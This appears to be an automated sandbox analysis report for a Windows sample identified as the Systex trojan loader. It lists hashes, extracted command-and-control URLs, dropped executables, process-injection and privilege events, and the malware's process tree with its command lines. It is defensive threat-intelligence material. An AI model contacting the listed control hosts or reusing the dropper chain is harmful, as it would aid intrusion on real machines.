systex | 15463ec68cde63cc4bb801c2dd11911a3a091c770df3a82c7da6be29ad9f2ba4

Analysis

max time kernel
148s
max time network
149s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
16/07/2026, 11:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-16_bb6339d0f5c41c7a80feab593d62301a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
Size 361KB
Sample260716-negf2sft4s
SHA256 15463ec68cde63cc4bb801c2dd11911a3a091c770df3a82c7da6be29ad9f2ba4
MD5 bb6339d0f5c41c7a80feab593d62301a
SHA1 a2425739ca53ccc7498b5cf5d016e699bff1d925
SHA512 d3b8e7c4441f01ffe1ad8a2cee7582ac275ac49e710a9347baaf414da505ddea983673f600016f7bb710fe4eceabcd8ba6cc43ba4b21e77b7fe8753cbbe964c3
SSDEEP 6144:gflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:gflfAsiVGjSGecvX
TLSH
T1CB747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware discovery systex spyware trojan

Malware Config

Extracted

Family

systex

http://xytets.com:2345/t.asp?os=wangba
http://xytets.com:2345/t.asp?os=home
http://xytets.com:2345/t.asp?ver=xxx&mac=0-0-0-0&os=vm

Signatures

Family: Systex
Systex is a trojan loader written in C++.
trojan systex

Executes dropped EXE 64 IoCs

pid	Process
1132	jhbztrmjecwuomge.exe
4144	jhbztrmjecwuomge.sys
1008	CreateProcess.exe
1380	ecwurmjecw.exe
3540	CreateProcess.exe
3300	CreateProcess.exe
2688	i_ecwurmjecw.exe
2088	rljebwtolj.sys
4076	CreateProcess.exe
2568	jgbytrlgey.exe
3628	CreateProcess.exe
1568	CreateProcess.exe
3876	i_jgbytrlgey.exe
4288	igdywqoiga.sys
4124	CreateProcess.exe
4196	gayvqoigdy.exe
908	CreateProcess.exe
5612	CreateProcess.exe
4324	i_gayvqoigdy.exe
2652	dyvqolgdbv.sys
3248	CreateProcess.exe
5336	tnlfdxvqni.exe
5080	CreateProcess.exe
4396	CreateProcess.exe
4968	i_tnlfdxvqni.exe
4780	vsnlfdavtn.sys
2432	CreateProcess.exe
4764	sqkidavtnl.exe
3856	CreateProcess.exe
5032	CreateProcess.exe
1404	i_sqkidavtnl.exe
3860	nkfdxvpnkf.sys
1924	CreateProcess.exe
3464	kicxvpnhfa.exe
5448	CreateProcess.exe
1872	CreateProcess.exe
4400	i_kicxvpnhfa.exe
2356	eczxrpmkhc.sys
3172	CreateProcess.exe
5776	jhfcauspnh.exe
1228	CreateProcess.exe
5628	CreateProcess.exe
3276	i_jhfcauspnh.exe
3000	fzxrpkhcau.sys
4280	CreateProcess.exe
1412	xrpjhbzwrp.exe
2656	CreateProcess.exe
1308	CreateProcess.exe
4912	i_xrpjhbzwrp.exe
4144	czurmjhbzt.sys
1404	CreateProcess.exe
5320	ztrmjhbzur.exe
2732	CreateProcess.exe
2864	CreateProcess.exe
4744	i_ztrmjhbzur.exe
3396	trljhbztrl.sys
1572	CreateProcess.exe
4400	ljeywqomge.exe
3492	CreateProcess.exe
4236	CreateProcess.exe
3436	i_ljeywqomge.exe
4792	gaywqoigey.sys
3000	CreateProcess.exe
1540	dbytqljdbv.exe

Drops file in Windows directory 9 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5964_1828898765\office_endpoints_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5964_2142531509\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5964_49179370\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5964_1286475935\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5964_1286475935\nav_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5964_1828898765\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5964_1828898765\smart_switch_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5964_49179370\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5964_1828898765\llm_user_input_extractor_config.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 41 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jhfcauspnh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xrpjhbzwrp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ztrmjhbzur.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_vqnlidbvtn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qoigbywqoj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-07-16_bb6339d0f5c41c7a80feab593d62301a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_tnlfdxvqni.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_fdausqkica.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jhbztrmjecwuomge.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ecwurmjecw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jgbytrlgey.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jhfcauspnh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ljeywqomge.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rpmkeczurp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jgbytrlgey.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xrpjhbzwrp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vqnlidbvtn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fdausqkica.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	trljhbztrl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CreateProcess.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ecwurmjecw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ztrmjhbzur.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ljeywqomge.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_dbytqljdbv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qlidxvtnlf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dbytqljdbv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qlidxvtnlf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qoigbywqoj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_gayvqoigdy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kicxvpnhfa.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_causmkecxu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rpmkeczurp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wuomhezwup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_wuomhezwup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_trljhbztrl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tnlfdxvqni.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sqkidavtnl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_sqkidavtnl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	causmkecxu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gayvqoigdy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_kicxvpnhfa.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5268	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Gathers network information 2 TTPs 19 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3668	ipconfig.exe
5192	ipconfig.exe
2744	ipconfig.exe
2356	ipconfig.exe
2524	ipconfig.exe
816	ipconfig.exe
2780	ipconfig.exe
2760	ipconfig.exe
4424	ipconfig.exe
3836	ipconfig.exe
4340	ipconfig.exe
5524	ipconfig.exe
920	ipconfig.exe
3220	ipconfig.exe
2924	ipconfig.exe
1856	ipconfig.exe
3868	ipconfig.exe
2800	ipconfig.exe
2396	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134286743188809639"	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-3797332335-34111092-3597280141-1000\{174E1EC2-2ABA-495F-B047-5815759A7680}	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2928	2026-07-16_bb6339d0f5c41c7a80feab593d62301a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2928	2026-07-16_bb6339d0f5c41c7a80feab593d62301a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2928	2026-07-16_bb6339d0f5c41c7a80feab593d62301a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2928	2026-07-16_bb6339d0f5c41c7a80feab593d62301a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2928	2026-07-16_bb6339d0f5c41c7a80feab593d62301a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2928	2026-07-16_bb6339d0f5c41c7a80feab593d62301a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2928	2026-07-16_bb6339d0f5c41c7a80feab593d62301a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2928	2026-07-16_bb6339d0f5c41c7a80feab593d62301a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2928	2026-07-16_bb6339d0f5c41c7a80feab593d62301a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2928	2026-07-16_bb6339d0f5c41c7a80feab593d62301a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2928	2026-07-16_bb6339d0f5c41c7a80feab593d62301a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2928	2026-07-16_bb6339d0f5c41c7a80feab593d62301a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2928	2026-07-16_bb6339d0f5c41c7a80feab593d62301a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2928	2026-07-16_bb6339d0f5c41c7a80feab593d62301a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2928	2026-07-16_bb6339d0f5c41c7a80feab593d62301a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2928	2026-07-16_bb6339d0f5c41c7a80feab593d62301a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2928	2026-07-16_bb6339d0f5c41c7a80feab593d62301a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2928	2026-07-16_bb6339d0f5c41c7a80feab593d62301a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2928	2026-07-16_bb6339d0f5c41c7a80feab593d62301a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2928	2026-07-16_bb6339d0f5c41c7a80feab593d62301a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2928	2026-07-16_bb6339d0f5c41c7a80feab593d62301a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2928	2026-07-16_bb6339d0f5c41c7a80feab593d62301a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2928	2026-07-16_bb6339d0f5c41c7a80feab593d62301a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2928	2026-07-16_bb6339d0f5c41c7a80feab593d62301a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2928	2026-07-16_bb6339d0f5c41c7a80feab593d62301a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2928	2026-07-16_bb6339d0f5c41c7a80feab593d62301a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2928	2026-07-16_bb6339d0f5c41c7a80feab593d62301a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2928	2026-07-16_bb6339d0f5c41c7a80feab593d62301a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2928	2026-07-16_bb6339d0f5c41c7a80feab593d62301a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2928	2026-07-16_bb6339d0f5c41c7a80feab593d62301a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2928	2026-07-16_bb6339d0f5c41c7a80feab593d62301a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2928	2026-07-16_bb6339d0f5c41c7a80feab593d62301a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2928	2026-07-16_bb6339d0f5c41c7a80feab593d62301a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2928	2026-07-16_bb6339d0f5c41c7a80feab593d62301a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2928	2026-07-16_bb6339d0f5c41c7a80feab593d62301a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2928	2026-07-16_bb6339d0f5c41c7a80feab593d62301a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2928	2026-07-16_bb6339d0f5c41c7a80feab593d62301a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2928	2026-07-16_bb6339d0f5c41c7a80feab593d62301a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2928	2026-07-16_bb6339d0f5c41c7a80feab593d62301a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2928	2026-07-16_bb6339d0f5c41c7a80feab593d62301a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2928	2026-07-16_bb6339d0f5c41c7a80feab593d62301a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2928	2026-07-16_bb6339d0f5c41c7a80feab593d62301a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2928	2026-07-16_bb6339d0f5c41c7a80feab593d62301a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2928	2026-07-16_bb6339d0f5c41c7a80feab593d62301a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2928	2026-07-16_bb6339d0f5c41c7a80feab593d62301a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2928	2026-07-16_bb6339d0f5c41c7a80feab593d62301a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2928	2026-07-16_bb6339d0f5c41c7a80feab593d62301a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2928	2026-07-16_bb6339d0f5c41c7a80feab593d62301a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2928	2026-07-16_bb6339d0f5c41c7a80feab593d62301a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2928	2026-07-16_bb6339d0f5c41c7a80feab593d62301a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2928	2026-07-16_bb6339d0f5c41c7a80feab593d62301a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2928	2026-07-16_bb6339d0f5c41c7a80feab593d62301a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2928	2026-07-16_bb6339d0f5c41c7a80feab593d62301a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2928	2026-07-16_bb6339d0f5c41c7a80feab593d62301a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2928	2026-07-16_bb6339d0f5c41c7a80feab593d62301a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2928	2026-07-16_bb6339d0f5c41c7a80feab593d62301a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
1132	jhbztrmjecwuomge.exe
1132	jhbztrmjecwuomge.exe
1132	jhbztrmjecwuomge.exe
1132	jhbztrmjecwuomge.exe
1132	jhbztrmjecwuomge.exe
1132	jhbztrmjecwuomge.exe
1132	jhbztrmjecwuomge.exe
1132	jhbztrmjecwuomge.exe

Suspicious behavior: LoadsDriver 20 IoCs

pid	Process
804	Process not Found
804	Process not Found
804	Process not Found
804	Process not Found
804	Process not Found
804	Process not Found
804	Process not Found
804	Process not Found
804	Process not Found
804	Process not Found
804	Process not Found
804	Process not Found
804	Process not Found
804	Process not Found
804	Process not Found
804	Process not Found
804	Process not Found
804	Process not Found
804	Process not Found
804	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
5964	msedge.exe
5964	msedge.exe
5964	msedge.exe
5964	msedge.exe
5964	msedge.exe

Suspicious use of AdjustPrivilegeToken 19 IoCs

description	pid	Process
Token: SeDebugPrivilege	2688	i_ecwurmjecw.exe
Token: SeDebugPrivilege	3876	i_jgbytrlgey.exe
Token: SeDebugPrivilege	4324	i_gayvqoigdy.exe
Token: SeDebugPrivilege	4968	i_tnlfdxvqni.exe
Token: SeDebugPrivilege	1404	i_sqkidavtnl.exe
Token: SeDebugPrivilege	4400	i_kicxvpnhfa.exe
Token: SeDebugPrivilege	3276	i_jhfcauspnh.exe
Token: SeDebugPrivilege	4912	i_xrpjhbzwrp.exe
Token: SeDebugPrivilege	4744	i_ztrmjhbzur.exe
Token: SeDebugPrivilege	3436	i_ljeywqomge.exe
Token: SeDebugPrivilege	704	i_dbytqljdbv.exe
Token: SeDebugPrivilege	2220	i_vqnlidbvtn.exe
Token: SeDebugPrivilege	5556	i_qlidxvtnlf.exe
Token: SeDebugPrivilege	2984	i_fdausqkica.exe
Token: SeDebugPrivilege	3076	i_causmkecxu.exe
Token: SeDebugPrivilege	6136	i_rpmkeczurp.exe
Token: SeDebugPrivilege	4752	i_wuomhezwup.exe
Token: SeDebugPrivilege	1728	i_trljhbztrl.exe
Token: SeDebugPrivilege	6020	i_qoigbywqoj.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
5964	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2928 wrote to memory of 1132	2928	2026-07-16_bb6339d0f5c41c7a80feab593d62301a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe	88
PID 2928 wrote to memory of 3392	2928	2026-07-16_bb6339d0f5c41c7a80feab593d62301a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe	89
PID 3392 wrote to memory of 5964	3392	iexplore.exe	90
PID 5964 wrote to memory of 3368	5964	msedge.exe	91
PID 5964 wrote to memory of 1708	5964	msedge.exe	93
PID 5964 wrote to memory of 5268	5964	msedge.exe	94
PID 5964 wrote to memory of 1708	5964	msedge.exe	93
PID 5964 wrote to memory of 1708	5964	msedge.exe	93
PID 5964 wrote to memory of 4332	5964	msedge.exe	95
PID 5964 wrote to memory of 4332	5964	msedge.exe	95
PID 5964 wrote to memory of 4968	5964	msedge.exe	96
PID 5964 wrote to memory of 4772	5964	msedge.exe	97
PID 5964 wrote to memory of 4968	5964	msedge.exe	96
PID 5964 wrote to memory of 4968	5964	msedge.exe	96
PID 5964 wrote to memory of 4772	5964	msedge.exe	97
PID 5964 wrote to memory of 4772	5964	msedge.exe	97
PID 5964 wrote to memory of 2660	5964	msedge.exe	98
PID 5964 wrote to memory of 3236	5964	msedge.exe	99
PID 5964 wrote to memory of 2660	5964	msedge.exe	98
PID 5964 wrote to memory of 2660	5964	msedge.exe	98
PID 5964 wrote to memory of 3236	5964	msedge.exe	99
PID 5964 wrote to memory of 3236	5964	msedge.exe	99
PID 5964 wrote to memory of 936	5964	msedge.exe	101
PID 5964 wrote to memory of 936	5964	msedge.exe	101
PID 5964 wrote to memory of 5720	5964	msedge.exe	104
PID 5964 wrote to memory of 6008	5964	msedge.exe	105
PID 5964 wrote to memory of 5720	5964	msedge.exe	104
PID 5964 wrote to memory of 6008	5964	msedge.exe	105
PID 1132 wrote to memory of 1008	1132	jhbztrmjecwuomge.exe	106
PID 1380 wrote to memory of 3540	1380	ecwurmjecw.exe	109
PID 5964 wrote to memory of 4412	5964	msedge.exe	113
PID 5964 wrote to memory of 4296	5964	msedge.exe	115
PID 5964 wrote to memory of 4296	5964	msedge.exe	115
PID 5964 wrote to memory of 1516	5964	msedge.exe	117
PID 5964 wrote to memory of 1516	5964	msedge.exe	117
PID 1132 wrote to memory of 3300	1132	jhbztrmjecwuomge.exe	118
PID 1132 wrote to memory of 4076	1132	jhbztrmjecwuomge.exe	122
PID 2568 wrote to memory of 3628	2568	jgbytrlgey.exe	124
PID 1132 wrote to memory of 1568	1132	jhbztrmjecwuomge.exe	127
PID 1132 wrote to memory of 4124	1132	jhbztrmjecwuomge.exe	131
PID 4196 wrote to memory of 908	4196	gayvqoigdy.exe	133
PID 1132 wrote to memory of 5612	1132	jhbztrmjecwuomge.exe	136
PID 1132 wrote to memory of 3248	1132	jhbztrmjecwuomge.exe	141
PID 5336 wrote to memory of 5080	5336	tnlfdxvqni.exe	143
PID 1132 wrote to memory of 4396	1132	jhbztrmjecwuomge.exe	146
PID 5964 wrote to memory of 1168	5964	msedge.exe	148
PID 5964 wrote to memory of 3516	5964	msedge.exe	149
PID 5964 wrote to memory of 5000	5964	msedge.exe	150
PID 1132 wrote to memory of 2432	1132	jhbztrmjecwuomge.exe	153
PID 4764 wrote to memory of 3856	4764	sqkidavtnl.exe	155
PID 1132 wrote to memory of 5032	1132	jhbztrmjecwuomge.exe	158
PID 1132 wrote to memory of 1924	1132	jhbztrmjecwuomge.exe	162
PID 3464 wrote to memory of 5448	3464	kicxvpnhfa.exe	164
PID 1132 wrote to memory of 1872	1132	jhbztrmjecwuomge.exe	167
PID 1132 wrote to memory of 3172	1132	jhbztrmjecwuomge.exe	171
PID 5776 wrote to memory of 1228	5776	jhfcauspnh.exe	173
PID 1132 wrote to memory of 5628	1132	jhbztrmjecwuomge.exe	176
PID 1132 wrote to memory of 4280	1132	jhbztrmjecwuomge.exe	180
PID 1412 wrote to memory of 2656	1412	xrpjhbzwrp.exe	182
PID 1132 wrote to memory of 1308	1132	jhbztrmjecwuomge.exe	185
PID 5964 wrote to memory of 1672	5964	msedge.exe	187
PID 5964 wrote to memory of 1672	5964	msedge.exe	187
PID 1132 wrote to memory of 1404	1132	jhbztrmjecwuomge.exe	193
PID 5320 wrote to memory of 2732	5320	ztrmjhbzur.exe	195

C:\Users\Admin\AppData\Local\Temp\2026-07-16_bb6339d0f5c41c7a80feab593d62301a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-16_bb6339d0f5c41c7a80feab593d62301a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2928
- C:\Temp\jhbztrmjecwuomge.exe
  C:\Temp\jhbztrmjecwuomge.exe run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1132
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ecwurmjecw.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1008
  - - C:\Temp\ecwurmjecw.exe
      C:\Temp\ecwurmjecw.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1380
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:3540
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3220
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ecwurmjecw.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:3300
  - - C:\Temp\i_ecwurmjecw.exe
      C:\Temp\i_ecwurmjecw.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2688
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\jgbytrlgey.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4076
  - - C:\Temp\jgbytrlgey.exe
      C:\Temp\jgbytrlgey.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2568
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:3628
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2924
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_jgbytrlgey.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1568
